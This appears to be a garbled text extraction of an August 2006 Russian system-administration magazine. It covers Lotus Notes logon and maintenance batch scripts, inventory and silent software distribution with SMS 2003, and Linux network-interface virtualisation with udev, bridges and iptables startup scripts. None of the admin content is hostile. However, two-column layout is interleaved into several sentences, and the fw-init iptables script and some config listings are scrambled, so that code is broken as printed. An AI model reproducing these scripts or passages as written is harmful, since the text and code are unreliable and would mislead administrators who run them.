С помощью утилиты BK ReplaceEm [6] в каждый загрузочный bat-файл пользователя на доменном *NIX-сервере нужно вставить строку копирования Lotus Notes при логоне, например, «call z:\new_lotus\logon_lotus.cmd», где диск Z:\ –общедоступный сетевой Windows 2000/ Windows XP Windows NT ресурс. Windows 2000 Professional; Windows NT4 Lotus_save_lite.cmd применяется для Windows XP Professional Workstation сохранения ярлыков, локальных групп Intel Pentium рассылок и других редко изменяемых 128 Мб минимум, 64 Мб минимум, настроек Lotus Notes. Этот файл следурекомендуется 256 Мб рекомендуется 256 Мб или больше или больше ет запускать только при выгруженном Необходимо 275 Мб Lotus Notes.
администрирование lotus_save_lite.cmd xcopy "C:\Lotus\Notes\Data\bookmark.nsf" ↵ "H:\Lotus\Notes\Data\" /c /h /r /y xcopy "C:\Lotus\Notes\Data\names.nsf" ↵ "H:\Lotus\Notes\Data\ " /c /h /r /y pause
Lotus_notes_6_5.lnk – десктопный ярлык для запуска оптимизированного Lotus Notes, поле Target, в котором принимается за «C:\lotus\notes\notes.exe "=H:\Lotus\Notes\ notes.ini"». С помощью этого ярлыка Lotus Notes запускается так, что он работает напрямую с файлом конфигурации notes.ini, размещенным на диске H:\. В директории new_lotus создаем поддиректорию maintenance, предназначенную для перевода новых пользователей на новую схему работы и для текущего обслуживания указанного ПО. Эта поддиректория содержит в себе такие файлы: del_lotus_c_id.cmd, new_copy_lotus_h.cmd, sed.exe с динамическими библиотеками и notes.ini. Del_lotus_c_id.cmd – сбрасывает персональные настройки пользователя Lotus Notes на диске C:\ с удалением ключевого файла user.id, после чего можно настраивать клиент для нового пользователя. del_lotus_c_id.cmd del /f C:\Lotus\Notes\Data\cache.ndk del /f C:\Lotus\Notes\Data\desktop6.ndk del /f C:\Lotus\Notes\Data\cluster.ncf del /f C:\Lotus\Notes\Data\jobsched.njf del /f C:\Lotus\Notes\Data\names.nsf del /f C:\Lotus\Notes\Data\bookmark.nsf del /f C:\Lotus\Notes\Data\pid.nbf del /f C:\Lotus\Notes\Data\user.id echo a| xcopy z:\new_lotus\maintenance\notes.ini ↵ C:\Lotus\Notes\notes.ini
New_copy_lotus_h.cmd – копирование персональных файлов Lotus с диска C:\ на H:\ и модификация notes.ini. Модификация позволяет Lotus Notes напрямую работать с ключевым файлом пользователя user.id на диске H:\. С помощью этого командного файла можно переводить на предложенную схему работы как существующих пользователей, так и новых сразу же после стандартной настройки для них клиента Lotus Notes на диске C:\. new_copy_lotus_h.cmd cd /d H:\ md Lotus cd Lotus md Notes cd Notes md Data echo f|xcopy C:\Lotus\Notes\Data\bookmark.nsf ↵ H:\Lotus\Notes\Data\bookmark.nsf echo f|xcopy C:\Lotus\Notes\Data\cluster.ncf ↵ H:\Lotus\Notes\Data\cluster.ncf echo f|xcopy C:\Lotus\Notes\Data\desktop6.ndk ↵ H:\Lotus\Notes\Data\desktop6.ndk echo f|xcopy C:\Lotus\Notes\Data\headline.nsf ↵ H:\Lotus\Notes\Data\headline.nsf echo f|xcopy C:\Lotus\Notes\Data\jobsched.njf ↵ H:\Lotus\Notes\Data\jobsched.njf echo f|xcopy C:\Lotus\Notes\Data\names.nsf ↵ H:\Lotus\Notes\Data\names.nsf
№8, август 2006
Рисунок 2. Активация vbs-скрипта на рабочей станции echo f|xcopy C:\Lotus\Notes\Data\pid.nbf ↵ H:\Lotus\Notes\Data\pid.nbf echo f|xcopy C:\Lotus\Notes\Data\user.id ↵ H:\Lotus\Notes\Data\user.id echo f|xcopy C:\Lotus\Notes\notes.ini ↵ H:\Lotus\Notes\notes.ini call z:\new_lotus\maintenance\del_lotus_c_id.cmd z:\new_lotus\maintenance\sed.exe ↵ -e s/"KeyFilename=user.id" ↵ /"KeyFileName=H:\\Lotus\\Notes\\Data\\user.id"/ ↵ notes.ini > notes2.ini xcopy /f notes2.ini notes.ini /c /r /y del /f /q notes2.ini cd \ pause
Sed.exe с динамическими библиотеками – потоковый редактор [7], позволяющий модифицировать содержимое notes.ini. Notes.ini – базовый конфигурационный файл для настройки Lotus Notes под нового пользователя. Таким образом, порядок установки выглядит следующим образом: Установите на все рабочие станции logoff-скрипты и через MMC (Group Policy) активируйте их на каждой из них. Разместите папку new_lotus на общедоступном сетевом ресурсе. С помощью утилиты BK ReplaceEm в каждом загрузочном bat-файле на сервере домена добавьте вызов logon_lotus.cmd. С помощью скриптов в папках new_lotus/maintenance переместите персональные файлы пользователей Lotus Notes на сетевой диск каждого из них. Приведенная схема соответствует общепринятым нормам безопасности информационных систем и ни в чем не ограничивает работу клиента. Надеюсь, что информация найдет у вас практическое применение и избавит вас от бессонных ночей. 1. IBM Lotus Software: http://www.ibm.com/ru/software/lotus. 2. IBM Lotus Notes/Domino 6.5.5 Release Notes: http://www-10.lotus. com/ldd/notesua.nsf. 3. eQuality Solutions: продукты IBM/Lotus: http://www.equality.ru/ products-ibm.shtml. 4. Tommi Tulisalo, Edwin Kanis, Jean-Noel Koval,Cynthia Mamacos, Carol Sumner Upgrading to Lotus Notes and Domino 6. – IBM Redbook, 2004. 5. Notes/Domino 6 and 7 Forum: http://lotus.com/ldd/nd6forum.nsf. 6. ReplaceEm: http://orbit.org/replace. 7. SED, the stream editor: http://student.northpark.edu/pemente/ sed.
11
администрирование
Проводим инвентаризацию сети средствами SMS 2003
Дмитрий Щербаков У вас появится больше времени на творчество благодаря Systems Management Server 2003.
П
р одел ав вс е н е о бход и м ы е действия (см. статью «Устанавливаем и настраиваем Systems Management Server 2003», №7, 2006 г.), вы получили полностью работоспособный сервер SMS 2003 с установленными клиентами, в базу которого занесены ресурсы сети (компьютеры, пользователи). Теперь можно двигаться дальше и переходить непосредственно к инвентаризации. Думаю, многие согласятся, что это малоприятная процедура. Порой необходимо сделать выборку по определенным параметрам, чтобы выявить компьютеры, на которые нужно установить обновления или нуждающиеся в модернизации. Многим из вас знакомы требования руководства, которое хочет знать, какое программное обеспечение установлено на компьютерах пользователей и не изменялась ли самовольно конфигурация ПК. Правда, это нужно не только начальству, но в первую очередь и самому сисадмину. Все это можно сделать в считанные минуты с помощью SMS 2003. Если вы знакомы с SQL, проблем будет еще меньше, благодаря возможности напрямую обращаться к базе SQL-сервера, исполь-
12
зуя запросы SQL. После проведенной инвентаризации можно централизованно обновить ПО, установить новое, а также поставить необходимые патчи и заплатки для операционных систем и программ. Можно для этого воспользоваться групповыми политиками домена, но сделать это сложнее, так как SMS – это все-таки специализированный продукт, рассчитанный именно на такое применение в отличие от Group Policy. Комплект инструментов был бы неполным без удаленного управления. Но это уже кому как нравится. Многие привыкли к небольшим мобильным утилитам, которые справляются с поставленной задачей не хуже, а порой и лучше SMS. Это не главное достоинство этого продукта, и его мы тоже рассмотрим.
Проводим инвентаризацию оборудования Чтобы начать процесс, запустите консоль SMS Administrator Console, «Site Database → Site Hierarchy → имя сайта → Site Settings → Client Agents», где выберите «Hardware Inventory Client Agent» (рис. 1). В свойс-
твах агента на вкладке «General» поставьте флажок «Enable hardware inventory on clients», а расписание вы можете настроить уже в соответствии со своими задачами. Через некоторое время (минут 15) политики на клиентах обновятся, и вы сможете просмотреть ресурсы компьютеров сети. Для того чтобы ускорить этот процесс, на клиенте в панели управления запустите апплет Systems Management и на вкладке «Actions» обновите «Machine и User Policy» (рис. 2), а затем «Hardware Inventory Cycle». В этом случае информацию вы сможете просмотреть уже через 3-4 минуты. Собранные данные об оборудовании доступны, например, из коллекции «All Systems» консоли SMS Administrator Console. Для этого в контекстном меню по щелчку правой кнопкой мыши на нужном нам компьютере выберем «All Tasks → Start Resource Explorer». Что интересно, сведения об установленном программном обеспечении тоже находятся здесь. После сбора информации об оборудовании эти данные заносятся в базу и далее доступны в автономном режиме и при выключенном удаленном компьютере.
администрирование Проводим инвентаризацию программного обеспечения Инвентаризация ПО заключается в сборе информации из файлов приложений с помощью SMS Software Agent. Полученные данные включают в себя сведения о названии продукта, производителе, версии, а также времени и дате установки. Для начала активируйте Software Inventory Client Agent: «Site Database → Site Hierarchy → имя сайта → Site Settings → Client Agents» и поставьте галочку «Enable software inventory on clients» (рис. 3). По умолчанию собирается информация обо всех exe-файлах. Обновление информации происходит аналогично инвентаризации оборудования, однако времени требуется больше. Просмотреть информацию вы можете там же – через «Resource Explorer» (вкладка «Software»). В свойствах «Software Inventory Client Agent» можно указать также путь для поиска файлов и настроить сбор файлов с клиентских компьютеров (например, отчеты после установки ПО). Но так как такие файлы могут иметь довольно большой размер и клиентов тоже немало, следует подходить к сбору файлов с осторожностью, ведь это неизбежно повлечет за собой существенное увеличение сетевого трафика. Другой способ проведения инвентаризации ПО – Software metering. На первый взгляд он похож на Software Inventory, но используется для того, чтобы отследить, с какими программами работает пользователь. Полученные данные могут содержать информацию о времени запуска программы, завершения, под каким именем пользователя она была запущена, и т. д. «Software Metering Client Agent» находится в контейнере «Client Agents» (там же, где «Hardware Inventory Client Agent» и «Software Inventory Client Agent»). Информация записывается на клиентском компьютере в файл mtrmgr.log в каталог C:\windows\system32\ccm\logs.
Создаем отчеты Для начала попробуем создать простой запрос (набор параметров, который используется для получения информации из базы данных).
№8, август 2006
Рисунок 1. Hardware Inventory Client Agent
Рисунок 2. Обновление политик на клиенте
Откройте консоль сервера SMS, «Site Database → Queries», и далее по правой кнопке мыши – «New → Query» (рис. 4). Что интересно, помимо множества предопределенных запросов можно создать и свои, используя WQL (в этом же диалоге). Это дает возможность обращаться сразу к нескольким объектам, что недоступно из графического интерфейса. По умолчанию выбран объект «System Resource». Дайте имя запросу, например test, затем нажмите на кнопку «Edit Query Statement» и поставьте галочку напротив «Omit duplicate rows», создайте новый запрос в окне «Result
Properties → Select» и далее выберите «Attribute Class» и «Attribute» (рис. 5). В качестве «Attribute Class» возьмите, например, «System», а «Attribute» – «Name». Поле «Alias» as можно оставить как есть – «No Alias». Далее перейдите на вкладку «Criteria». Создайте новый критерий, в котором тип оставьте «Simple Value», «Attribute Class» возьмите «Memory» (окно выбора атрибутов вызывается по нажатию кнопки «Select»), а «Attribute» – «Total Physical Memory». Если, например, нужно узнать, на каком компьютере больше 1 Гб оперативной памяти, то в выпадаю-
13
администрирование
Рисунок 3. Software Inventory Client Agent
вать в отчетах графики, на компьютере с Reporting Point надо установить Microsoft Office 2000 или выше. Просматривать отчеты можно с клиента, на котором установлен Internet Explorer 5.01 SP2 и выше, по адресу http:// имя сервера/smsreporting-код сайта. Для того чтобы каждый раз не задавался вопрос об имени пользователя и пароле, надо внести учетную запись пользователя в группу SMS Reporting Users. В контейнере «Reporting» консоли SMS Administrator Console присутствует еще пункт «Dashboards». В «Dashboards» можно помещать группу взаимосвязанных отчетов, которым не передаются никакие параметры. Отчеты располагаются на одной странице, что довольно удобно при просмотре – недаром Microsoft использовала для этого пункта очень удачное название – приборная доска.
Устанавливаем программное обеспечение по сети
Рисунок 4. Создание запроса. Шаг 1
щем списке «Operator» надо выбрать «Is greater than or equal to», а в поле «Value» занести 1 000 000 (рис. 6). Сохраните запрос, а для его запуска из контекстного меню выберите «Run Query».
Используем Reporting Point для создания отчетов Для начала настройте сервер на использование Reporting Point, для этого в консоли SMS Administrator Console выберите «Site Database → Site Hierarchy → имя сайта → Site Settings → Site Systems» и в свойствах сервера на вкладке «Reporting
14
Point» поставьте галочку «Use this site system as a reporting point». Теперь переходим непосредственно к составлению отчета: не закрывая консоль SMS Administrator Console, найдите «Reporting → Reports» и выберите нужный, например «Computers with low memory». Чтобы запустить этот отчет на выполнение, щелкните по нему правой кнопкой мыши: «All Tasks → Run → имя компьютера». В появившемся окне введите пароль, а в строке «Mb of Memory» окна отчета – объем памяти с меньшим значением которого, нас интересуют компьютеры. Для завершения запроса нажмите кнопку «Display». Чтобы использо-
В большой сети, даже если требуется установить небольшое обновление или новую программу на все компьютеры или на какую-то их определенную часть, уходит много времени, особенно если делать это вручную, даже при помощи программ удаленного управления. Применение групповых политик не так просто и не так гибко, как применение для этой цели средств SMS – Software Distribution. Одно из больших преимуществ SMS при установке ПО – использование сервиса BITS. Он позволяет использовать докачку файла при возникновении сбоя при передаче. Эта технология доступна только для Advanced Clients. При инсталляции ПО средствами SMS гораздо легче отследить ход установки на всех компьютерах через отчеты об установке или через Software metering. Как обычно, начинаем с настройки сервера SMS: в консоли SMS Administrator Console раскройте узел «Site Database → Site Hierarchy → имя сайта → Site Settings → Site S yste ms». В с в о й с т в а х с е р в е р а на вкладке Distribution Point (рис. 7) установите флажок «Use this site system as a distribution point» и «Enable Background Intelligent Transfer Service
администрирование (BITS)». Перейдите в контейнер «Client Agents» и в свойствах «Advertised programs Client Agent» поставьте флажок «Enable software distribution to clients». На вкладке «Notification» установите по своему вкусу параметры оповещения об установке программ. Для первого раза стоит включить извещение об установке, но, когда все будет отлажено, лучше его убрать, так как это избавит вас от лишних вопросов пользователей. В контейнере «Component Configuration» в свойствах «Software Distribution» укажите учетную запись администратора домена для «Advanced Clients» и учетную запись администратора, под которой будет выполняться установка для «Legacy Clients» (рис. 8). Для уменьшения времени обновления информации об изменении статуса сервера SMS на клиентах можно проделать те же операции, что и при проведении инвентаризации оборудования и ПО.
Рисунок 5. Создание запроса. Шаг 2
Создаем пакеты для распространения Рассмотрим на примере вариант установки ПО на все компьютеры сети. Пусть требуется для решения производственной задачи установить NetFrameWork. В исходном виде программа доступна в виде одного самораспаковывающегося exe-файла. Извлеките из него все файлы, среди которых будет и msi-файл, который позволяет выполнить установку с необходимыми параметрами, например, без перезагрузки и в тихом режиме. Отмечу, что в отличие от других средств сетевой установки, таких как групповые политики, не требуется преобразовывать установочный файл в формат msi. Единственное замечание – если нужна скрытая от пользователя установка, то предварительно надо либо воспользоваться параметрами командной строки, либо перепаковать инсталлятор. Далее поместите установочные файлы в общедоступный по сети каталог. Теперь нужно сформировать установочный пакет для SMS. Для этого в консоли SMS Administrator Console щелкните правой кнопкой мыши по контейнеру «Packages» и выберите из контекстного меню «New → Package» (рис. 9). Введите название пакета, например NetFrameWork,
№8, август 2006
Рисунок 6. Создание запроса. Шаг 3
на вкладке «Data Source» установите флажок напротив «This package contains source files» и укажите к ним путь в поле «Source directory». Пакет может состоять и из одного файла, тогда указывать здесь его не нужно. Теперь раскройте контейнер с вновь созданным пакетом и щелкните правой кнопкой по «Distribution Points → New → Distribution Points» и выберите компьютер в качестве «Distribution Point», установив соответствующий флажок. Для того чтобы уже непосредственно задать параметры установки новой программы, перейдите к контейнеру «Programs», «New → Program» (рис. 10). В поле «Command
line» введите команду установки (имя установочного файла с необходимыми ключами). Для того чтобы установка проходила скрытно от пользователя, отметьте режим Hidden. На вкладке «Environment» из списка «Program can run» выберите пункт «Whether or not a user is logged on». В таком случае программа установки запустится независимо от того, зарегистрировался пользователь или нет. Тип запуска выберите «Run with administrative rights» и поставьте галочку напротив «Use Software installation account». Для того чтобы полностью исключить любые уведомления пользователя об установке программы, на вкладке «Advanced» ус-
15
администрирование
Рисунок 7. Назначение серверу SMS роли Distribution Point
Рисунок 8. Установка параметров Software Distribution
тановите флажок «Suppress program notifications». Последняя вк ладка «Windows Installer» необходима лишь в том случае, когда дистрибутив программы состоит из нескольких файлов, среди которых есть файл с расширением *.msi. Если такой файл отсутствует или установочная программа состоит вообще из одного установочного файла с расширением *.exe, то на этом настройка программы инсталляции заканчивается. В нашем случае нажмите на вкладке «Windows Installer» кнопку «Import» и найдите файл netfx.msi. Сохраните изменения, и теперь можно переходить непосредственно к установке программы.
16
Распространение программного обеспечения Проще всего для этой цели воспользоваться мастером. Для этого щелкните правой кнопкой мыши на выбранной коллекции: «All Tasks → Distribute Software». Все значения можно оставить по умолчанию, остановимся поподробнее только на шаге «Assign Program». В случае выбора пункта «Do not assign the program» программа будет доступна для установки (в меню «Add or Remove Programs»), но не будет установлена автоматически. Выберите пункт «Assign Program». После завершения работы мастера в контей-
нере «Advertisements» появится новое уведомление. Просмотрев его свойства, можно настроить дополнительные параметры, например, расписание Schedule. Обычно выбирается пункт «Assign Immediately after this event: as soon as possible». Для реального пакета можно уже настраивать расписание по своему усмотрению. Все ли в порядке с пакетом, можно просмотреть через «System Status → Advertisement Status → название уведомления и через «System Status → Package Status → название пакета». В обоих случаях по правому щелчку мышкой на названии сайта выберите «Show Masseges → All». Также проверить корректность создания пакета можно, просмотрев каталог X:\SMSPKGX$, где X – имя диска, на котором находится этот каталог (по умолчанию на С). Не забывайте, что «сразу, как только возможно» не значит, что установка начнется мгновенно. Для ускорения этой процедуры необходимо произвести обновление политики на клиенте, как и во всех предыдущих случаях. Через некоторое время (минут 10-15), начнется установка. Этот момент вы легко отследите, если был выбран тип установки с оповещениями. ПО устанавливается на основе коллекций, присутствующих в SMS. Но можно создавать и свои коллекции и уже на их основе осуществлять распространение программ. В частности, если нужно произвести установку на один компьютер, то для него создается отдельная коллекция. Проще всего это сделать с помощью мастера, щелкнув правой кнопкой на нужном компьютере и выбрать пункт «All Tasks → Distribute Software». Для централизованной установки обновлений в SMS используется набор утилит SMS 2003 Software Update Scanning Tools, который можно скачать с сайта Microsoft. В стандартную поставку SMS этот набор не входит. Эти утилиты позволяют обновлять операционные системы Microsoft, включая Windows NT 4.0 SP5, а также Microsoft Office и Exchange Server, создавать отчеты об установке обновлений.
Удаленное управление в SMS 2003 SMS 2003 не был бы законченным продуктом, если бы в нем не была предус-
администрирование мотрена возможность удаленного управления. Для этой цели служит набор инструментов SMS Remote Tools. Если вы привыкли к другим программным продуктам, таким как DameWare, возможностей, предоставляемых SMS, вам будет явно мало. Но основные действия SMS Remote Tools позволяют производить: непосредственно удаленное управление, перезагрузку удаленного компьютера, чат, передачу файлов и запуск приложений на удаленном компьютере. Помимо этого имеется возможность использовать встроенные средства Windows XP и Windows 2003: Remote Assistance и Remote Desktop. Чтобы воспользоваться «Remote Tools», необходимо, как обычно в консоли SMS Administrator Console раскрыть узел «Site Database → Site Hierarchy → имя сайта → Site Settings → Client Agents» и разрешить использование Remote Tools на клиентах, установив соответствующий флажок в свойствах «Remote Tools Client Agent». Там же на вкладке Policy можно настроить необходимые разрешения для удаленного управления, а на вкладке «Notifications» – уведомления о подключении на удаленном компьютере. Как обычно, для ускорения обновления политики на клиентском компьютере можно воспользоваться аплетом «Systems Management» в панели управления и на вкладке «Actions» запустить «Initiate Action для Machine Policy Retrieval» и для «User Policy Retrieval». Для того чтобы воспользоваться «Remote Tools», щелкните правой кнопкой мыши на имени компьютера из нужной коллекции в консоли SMS Administrator Console, далее из контекстного меню «All Tasks → Start Remote Tools». В открывшемся окне из меню «Tools» выберите «Remote Control», чтобы начать работу с удаленным рабочим столом. Останавливаться подробно на удаленном администрировании я не буду. Хочется только отметить, что помимо пункта «Start Remote Tools» из контекстного меню, доступного по нажатию правой кнопки мыши на объекте выделенного компьютера, есть еще пункты «Start Event Viewer», «Start Windows Diagnostics» и «Start Windows Performance Monitor», которые позволяют получить дополнительные сведения об удаленном ком-
№8, август 2006
Рисунок 9. Создание пакета NetFrameWork
Рисунок 10. Настройка параметров установки новой программы (NetFrameWork)
пьютере. Эти пункты доступны только для «Advanced Clients». Для «Legacy Clients» в окне «Remote Tools» из панели инструментов доступны вкладки «Windows Memory» и др. Все возможности продукта компании Microsoft – SMS 2003 невозможно описать на страницах журнала. Но, разобравшись с базовыми принципами вы можете двигаться дальше и настраивать его под конкретные задачи, ведь рассмотренная конфигурация не единственно возможная. Следующий этап, особенно для крупных компаний, – охват удаленных филиалов и мобильных пользователей.
Настройка SMS 2003 – непростая задача и требует максимум терпения, но время, потраченное на освоение и настройку SMS, окупится сторицей. И не раз вы будете вспоминать добрым словом этот продукт, когда срочно понадобится вывести отчет по парку вычислительной техники по какому-либо нестандартному критерию, а у вас и обычный-то список уже устарел, или понадобится установить новое ПО на сотни компьютеров, причем немедленно. Стабильно работающий и должным образом настроенный SMS существенно сократит время, затрачиваемое на рутинную работу по инвентаризации и обновлению.
17
администрирование
Современный Linux-сервер: виртуализируем сетевые устройства Часть 2
Алексей Барабанов Воплотить схему виртуализации совершенно несложно. А дополнительно можно построить адаптивную систему коммутации.
18
администрирование
В
первой части статьи [1] были предложены пути и детально разобраны принципы искусственной виртуализации сетевых интерфейсов. Виртуализация не просто для усиления названа искусственной. Создание по специальному сетевому мосту на каждый используемый интерфейс не является самоцелью. Таким образом, достигаются следующие преимущества: Постоянство схемы разметки и наименования сетевых устройств. Независимость настройки сетевых сервисов от состояния реальных линий связи. Автоматизация сетевой коммутации. Удобство подключения виртуальных серверов.
Если просуммировать вышесказанное, то получится, что виртуализация позволяет создать независимую от состава Рисунок 1. Настройка безадресного физического интерфейса оборудования, то есть стабильную сетевую разметку, на основе которой можно построить внутреннюю серверную ар- с аппаратным адресом 00:14:85:21:1b:2f в процессе его дохитектуру, обладающую устойчивостью к отказам и масш- бавления в систему. После выполнения данного правила в табируемостью. И самое главное, что такая архитектура мо- системе появится устройство не с тем именем, что выдается жет быть положена в основу многоцелевых и весьма раз- ядром в порядке очередности, а с требуемым, в нашем слунообразных систем. Говоря иначе, таким путем будет раз- чае это будет hweth3 (от hardware ethernet). Теперь должно быть уже понятно, что если случайно назначаемое имя совпаработан собственный серверный стандарт. Но для начала формализуем процедуру виртуализации, дет с одним из уже используемых, то скрипт rename_netiface так как без этого не получить корректного способа включе- не сможет выполнить свою задачу. И не важно, что данное совпадение может носить временный характер. Чтобы тания ее в стартовую последовательность Linux. кого конфликта не возникало, используйте нестандартные имена. Нам такая рекомендация только на руку! «Алгоритм» виртуализации Вот как представляется последовательность действий по Второй шаг виртуализации согласно первой части статьи [1]: 1. Переводим все устройства в новый именной ряд с по- Надо сделать все реальные устройства безадресными или, например, установить им адрес 0.0.0.0, чтобы можно было мощью udev. 2. Меняем их настройку так, чтобы обеспечить включение воспользоваться в настройке и управлении стандартными системными скриптами. Если на этапе установки системы в состав сетевых мостов. 3. Создаем необходимое число сетевых мостов с требуе- пакетом YaST были уже настроены сетевые интерфейсы, то достаточно поправить им адрес, если же нет, то надо сомыми настройками. 4. Коммутируем реальные устройства с нужными сетевы- здавать их сразу с нулевым адресом (см. рис. 1). Для уже описанного в предыдущем абзаце сетевого устройства ми мостами. файл параметров будет выглядеть так: После этого получаем виртуальный эквивалент старой # cat /etc/sysconfig/network/ifcfg-eth-id-00:14:85:21:1b:2f настройки. Как подобное можно соединить со стандартными стартовыми скриптами? BOOTPROTO='static'
Первый шаг Отрабатывается при старте udev. Ничего менять не нужно, кроме некоторой правки имен устройств в /etc/udev/ rules.d/30-net_persistent_names.rules. Как уже было предложено, назовем все реальные устройства как hweth*. Тогда строка, переименовывающая соответствующее устройство, например eth3, будет выглядеть следующим образом: # grep eth3 ↵ /etc/udev/rules.d/30-net_persistent_names.rules SUBSYSTEM=="net", ACTION=="add", ↵ SYSFS{address}=="00:14:85:21:1b:2f", ↵ IMPORT="/sbin/rename_netiface %k hweth3"
Подробнее о применяемой в настройках udev нотации вы можете прочесть в [2] и, конечно же, в документации, сопровождающей пакет udev. Здесь лишь поясню, что в приведенной строке задается переименование сетевого устройства
№8, август 2006
BROADCAST='' IPADDR='0.0.0.0' MTU='' NAME='Giga-byte CK804 Ethernet Controller' NETMASK='255.255.255.0' NETWORK='' REMOTE_IPADDR='' STARTMODE='auto' UNIQUE='DkES.QUKldky+OPE' USERCONTROL='no' _nm_name='bus-pci-0000:00:0a.0' PREFIXLEN=''
Этот файл создавался с помощью YaST. Но можно его написать и самостоятельно. Более того, поскольку для всех интерфейсов эти файлы имеют практически одинаковый вид, отличаются лишь комментарием – оператор NAME – и уникальным номером конфигурации, который легко получить из начального, просто меняя в каждом последующем один или более символ на следующий в алфавитном порядке, то очень легко автоматизировать эту стадию на-
19
администрирование PREFIXLEN='' POST_UP_SCRIPT='/etc/fw/fw-on-internet' POST_DOWN_SCRIPT='/etc/fw/fw-off-internet'
Рисунок 2. Создание виртуального устройства
стройки. Надо только придерживаться того правила, что имя файла формируется на основании физического адреса интерфейса по схеме ifcfg-eth-id-MAC. Подготовленные подобным образом файлы настроек сетевых устройств будут полностью совместимы с существующей системой запуска сетевой подсистемы на сервере. И в процессе выполнения скрипта /etc/init.d/network все перечисленные интерфейсы будут «подняты» как безадресные и совершенно пассивные с точки зрения возможностей передачи трафика.
Третий шаг
Перечень опций можно узнать из «man ifup». Здесь приведены реальные данные VDSL-соединения. Все опции очевидны и тривиальны, кроме двух последних строк, отвечающих за настройку сетевого экрана. Об этой теме поговорим особо чуть позже. Кстати, и для этой операции можно использовать YaST (см. рис. 2). Значение в выделенном на рис. 2 поле будет использовано при генерации имени такого виртуального устройства. В данном случае 0, то есть образуется eth0, и все параметры будут записаны в файл ifcfg-eth0. Здесь уже становится понятным, что, хотя мы описываем последовательность настройки с номером 3, но в стартовой последовательности эти действия надо будет выполнить до старта скрипта /etc/init.d/network, иначе конфигурационные файлы виртуальных интерфейсов не будут обработаны и сетевые мосты не будут «подняты» и настроены нужным образом. Таким образом, реальный номер этого шага скорее будет «один с половиной» или «два без четверти», как угодно.
Четвертый шаг Связывание реальных устройств с сетевыми мостами, не только можно выполнить в любое время после старта скрипта /etc/init.d/network, но и, самое приятное, что его можно независимо от всего остального повторять, меняя настройки. Как и в шаге 3, на данном этапе придется использовать нестандартный скрипт. Итак, у нас вышло, что все необходимое можно реализовать двумя дополнительными скриптами после некоторой модификации существующих настроек. Рассмотрим подробнее.
Нам потребуется создать набор необходимых сетевых мостов. Это первый нестандартный шаг. Нужно сначала создать нужное число мостов с помощью команды «brctl addbr eth*». Вот тут мы будем использовать удобные и привычные имена сетевых интерфейсов, начинающихся с традиционного префикса «eth». То есть воспользоваться ими мы сможем лишь тогда, когда все реальные интерфейсы будут пере- Стартовая схема именованы в иной именной ряд. Если в ходе работы будут Теперь давайте выделим из перечисленного ту часть, котодобавляться или меняться сетевые карты, то эту процедуру рую надо повторять при каждом старте, считая, что все ненадо будет повторять. Тогда имена на «eth» станут свобод- обходимые шаги по настройке виртуализованного интерными, и их можно будет использовать в качестве имен сете- фейса уже выполнены однажды. В этом случае число шавых мостов, которые, собственно, и послужат основой сете- гов несколько сократится: вой виртуализации. Как только мосты созданы, ими можно 1. Создадим необходимое число сетевых мостов, соотманипулировать с помощью стандартных сетевых скриптов. ветствующих используемым сетевым интерфейсам. Для этого в директории /etc/sysconfig/network надо создать 2. Поднимем и реальные, и виртуальные интерфейсы. файлы с сетевыми настройками, названные по схеме ifcfg- 3. Скоммутируем реальные устройства с нужными сетеeth*, где eth* соответствует имени сетевого моста, которому выми мостами. эти настройки предназначены. Например, некоторому сетевому мосту eth2, используемому как канал в Интернет, моШаг 3 полностью соответствует стандартному скрипту жет соответствовать следующий файл настроек: /etc/init.d/network. Не забывайте перед стартом /etc/init.d/ boot.udev проконтролировать, что в конфигурации udev # cat /etc/sysconfig/network/ifcfg-eth2 не возникло нежелательных устройств, занимающих используемые системные имена eth*. Также необходимости BOOTPROTO='static' UNIQUE='alZb.Tm92cpV9oKE' предустановить настройки сетевого экрана. Обе задачи IPADDR='213.xx.xx.xxx' можно совместить, если скрипты, их выполняющие, вызвать NETMASK='255.255.255.248' BROADCAST='213.xx.xx.xxx' из /etc/init.d/boot.local. Полностью стартовая последовательNETWORK='213.xx.xx.xxx' ность должна выглядеть, как представлено на рис. 3. MTU='' NAME='Virtual device eth2 VDSL' В некоторой точке настройки системы (№1, рис. 3) выSTARTMODE='auto' полняется скрипт boot.local, предназначенный для размещеREMOTE_IPADDR='' USERCONTROL='no' ния дополнительных пользовательских функций, которые
20
администрирование должны выполниться после системного старта. Это прекрасное место для инициализации сетевого экрана и контроля настроек udev. Сначала заблокируем весь трафик скриптом fw-init: #!/bin/sh iptables -F iptables -t iptables -t iptables -X iptables -t iptables -t iptables -P iptables -P iptables -P
nat -F mangle -F nat -X mangle -X INPUT DROP OUTPUT DROP FORWARD DROP
Затем, разрешим работу интерфейса lo скриптом fw-main: #!/bin/sh IPT=$(which iptables) LIST1=("-A OUTPUT" "-A INPUT" "-A FORWARD" "-t nat ↵ -A POSTROUTING") LIST2=("-o" "-i" "-i" "-o") LIST3=("OUTPUT" "INPUT" "FORWARD" "POSTROUTING") SIZE=4 IF=lo I=0 while [ "$I" -lt "$SIZE" ] ; do J=${LIST1[$I]} K=${LIST2[$I]} L=${LIST3[$I]} $IPT $J $K $IF -j ACCEPT $IPT $J -j LOG --log-prefix "main $L DROP " ↵ --log-level notice $IPT $J -j DROP I=$((I+1)) done $IPT -P INPUT ACCEPT $IPT -P OUTPUT ACCEPT $IPT -P FORWARD ACCEPT
Этот скрипт поместит в каждую цепочку разрешение для трафика через lo, явное протоколирование и уничтожение всего остального трафика, и поменяет политики на разрешительные. Сохранение политики DROP не позволит с помощью анализа логов понять причину неправильной работы сети в случае ошибок в настройке сетевого экрана. А так, если уничтожение пакетов происходит явным образом, можно обнаружить, куда исчезает трафик. Скрипты являются частью системы управления сетевым экраном, которая здесь не описана. Разделение их на два независимых файла сделано для того, чтобы можно было каждой функцией воспользоваться по отдельности. Например, fw-init просто очищает все настройки iptables и блокирует трафик. Ну и напоследок чрезвычайно простая программка fixudev, удаляющая все строки в настройках udev, изменяющие имена в те, что используются в схеме виртуализации: #!/bin/sh N=/etc/udev/rules.d/30-net_persistent_names.rules T=/tmp/30-net_persistent_names.rules.$$ cat $N | grep -v "k eth" >$T mv $T $N
Такой скрипт, конечно же, может испортить настройку нового сетевого интерфейса, произведенную через YaST, но он не позволит разрушить уже созданную сетевую настройку из-за конфликта имен.
№8, август 2006
Рисунок 3. Стартовая последовательность
